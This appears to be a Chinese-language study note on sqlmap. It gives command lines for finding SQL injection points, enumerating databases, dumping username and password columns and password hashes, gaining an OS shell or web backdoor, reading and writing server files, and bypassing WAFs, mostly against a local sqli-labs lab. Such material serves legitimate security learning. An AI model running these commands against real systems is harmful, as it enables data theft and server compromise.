SQLmap使用詳解
一、SQLmap常規使用步驟
1、查詢注入點
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
2、查詢所有資料庫
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
3、查詢當前資料庫
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-dbs
4、查表
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables
5、查列
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns
6、查資料
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump
二、命令詳解
1、輸出級別
-v 指定回顯資訊的複雜度,共7個級別,0-6,預設1
• 0:只顯示python錯誤以及嚴重的資訊。
• 1:同時顯示基本資訊和警告資訊。(預設)
• 2:同時顯示debug資訊。
• 3:同時顯示注入的payload。
• 4:同時顯示HTTP請求。
• 5:同時顯示HTTP響應頭。
• 6:同時顯示HTTP響應頁面。
一般使用等級3,可以看到SQLmap傳送的測試payload;
eg:python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
2、目標
2.1、指定URL
-u 引數,指定需要檢測的url,單/雙引號包裹,中間如果有提示,輸入y
提示:SQLmap不能直接掃描網站漏洞,先找到注入點,再使用SQLmap驗證並利用注入點
2.2、指定檔案
-m 指定檔案,可以批次掃描檔案中的url
2.3、指定資料庫/表/欄位
-D 指定目標「資料庫」,單/雙引號包裹,常配合其他引數使用。
-T 指定目標「表」,單/雙引號包裹,常配合其他引數使用。
-C 指定目標「欄位」,單/雙引號包裹,常配合其他引數使用。
2.4、POST請求
檢測POST請求的注入點,使用BP等工具抓包,將http請求內容儲存到txt檔案中
-r 指定需要檢測的檔案,SQLmap會透過POST請求方式檢測目標
2.5、cookie注入
--cookie 指定cookie的值,單/雙引號包裹
3、脫庫
-a 就是all的意思,獲取所有能獲取的內容,會消耗很長時間
3.1、獲取資料庫
--dbs 獲取資料庫
--current-db 獲取當前資料庫
3.2、獲取表
--tables 獲取表
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --tables
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security,dvwa' --tables
//同時獲取多個庫的表名,逗號隔開
3.3、獲取欄位
--columns 獲取欄位
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' --columns
只指定庫名不指定表名會報錯,指定庫名不指定表名,預設獲取當前資料庫中所有表的欄位
3.4、獲取欄位型別
--schema 獲取欄位型別,
可以指定庫或指定表。不指定則獲取資料庫中所有欄位的型別。
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C --schema
3.5、獲取值
--dump 表中的資料,可以指定具體的庫,表,欄位,只指定庫名可獲取庫中所有表的資料
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --dump
預設獲取表中的所有資料,可以使用 --start --stop 指定開始和結束的行,只獲取一部分資料。
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --start1 --stop 5 --dump
3.6、獲取使用者
--current-user 獲取當前登入資料庫的使用者名稱
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --current-user
--user 獲取資料庫的所有使用者名稱
Sqlmap -u 'http://xxx.com/user.php?id=1' --user
--passwords 獲取所有資料庫使用者的密碼(雜湊值)
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --password
--privileges 檢視每個資料庫使用者都有哪些許可權
--is-dbs 判斷當前使用者是不是管理員,如果是管理員,會顯示true
3.7、獲取主機名
--hostname 獲取伺服器主機名
3.8、搜尋庫、表、欄位
--search 搜尋資料庫中是否存在指定庫,表,欄位;需要指定庫名,表名,欄位名
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --search
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -T 'users' --search
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -C 'user' --search
3.9、正在執行的SQL語句
--statements 獲取資料庫中正在執行的SQL語句
4、其他
--batch (預設確認)不再詢問是否確認。
--method=GET 指定請求方式(GET/POST)
--random-agent 隨機切換UA(User-Agent)
--user-agent ' ' 使用自定義的UA(User-Agent)
--referer ' ' 使用自定義的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 設定執行緒數,最高10
--level=1 執行測試的等級(1-5,預設為1,常用3)
指需要執行的測試等級,一共有5個等級(1~5),不加 level 預設是1。5級包含的 Payload 最多,會自動破解出 cookie、XFF等頭部注入。當然,level 5的執行速度也比較慢。
這個引數會影響測試的注入點,GET和POST的資料都會進行測試,HTTP cookie 在 level 為2時就會測試,HTTP User-Agent/Referer 頭在 level 為3時就會測試。總之,在不確定哪個 payload 或引數為注入點時,為了保證全面性,建議使用高的 level 值
--risk=1 風險級別(0~3,預設1,常用1),級別提高會增加資料被篡改的風險。
--sql-shell:執行自定義SQL語句
該命令用於執行指定的SQL語句,如下所示,假設執行select * from users limit 0,1語句,如下所示:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell
--os-cmd,--os-shell:執行任意作業系統命令
在當前使用者有許可權使用特定的函式的前提下,如果資料庫為MySQL、PostgreSQL,Sqlmap會上傳一個二進位制庫,包含使用者自定義的函式sys_exec () 和sys_eval (),那麼建立的這兩個函式就可以執行系統命令。
如果資料庫是微軟 SQL Server時,Sqlmap透過儲存過程 xp_cmdshell 來執行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本預設被禁用),則Sqlmap會重新啟用它;如果不存在,會自動建立。
用--os-shell引數可以模擬一個真實的Shell,輸入想執行的命令。當不能執行多語句時(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE寫進可寫目錄,建立一個Web後門。
Sqlmap支援ASP、ASP.NET、JSP和PHP四種語言(要想執行該引數,需要有資料庫管理員許可權,也就是--is-dba的值要為True)。
1.執行系統命令:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
執行後根據提示選擇網站語言,然後回車,指定目標站點根目錄,然後繼續回車即可完整執行命令。
2.執行shell:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
執行後根據提示選擇網站語言,然後回車,指定目標站點根目錄後回車,輸入命令即可執行。
執行命令後會在網站根目錄上傳兩個檔案:tmpbxbxz.php、tmpuoiuz.php(此檔案為上傳頁面)
--file-read:從資料庫伺服器中讀取檔案
該命令用於讀取執行檔案,當資料庫為MySQL、PostgreSQL或MicrosoftSQL Server,並且當前使用者有許可權使用特定的函式時,讀取的檔案可以是文字,也可以是二進位制檔案。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-read "C:/11.txt"
執行完會把檔案儲存到本地目錄下
--file-write --file-dest:上傳檔案到資料庫伺服器中
該命令用於寫入本地檔案到伺服器中,當資料庫為MySQL、PostgreSQL或Microsoft SQL Server,並且當前使用者有許可權使用特定的函式時,上傳的檔案可以是文字,也可以是二進位制檔案。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
執行結束即可把本地的1.txt 檔案上傳到目標伺服器下
5、WAF繞過
--tamper 指定繞過指令碼,
Sqlmap -u 'http://xxx.com/user.php?id=1' --tamper 'space2comment.py'
SQLmap內建指令碼位置:/usr/share/sqlmap/tamper
6、參考
https://www.cnblogs.com/wwcdg/p/15913888.html
https://www.cnblogs.com/wwcdg/p/15913888.html
日常隨筆學習記錄,如有侵權請聯絡silentmode10086@gmail.com刪除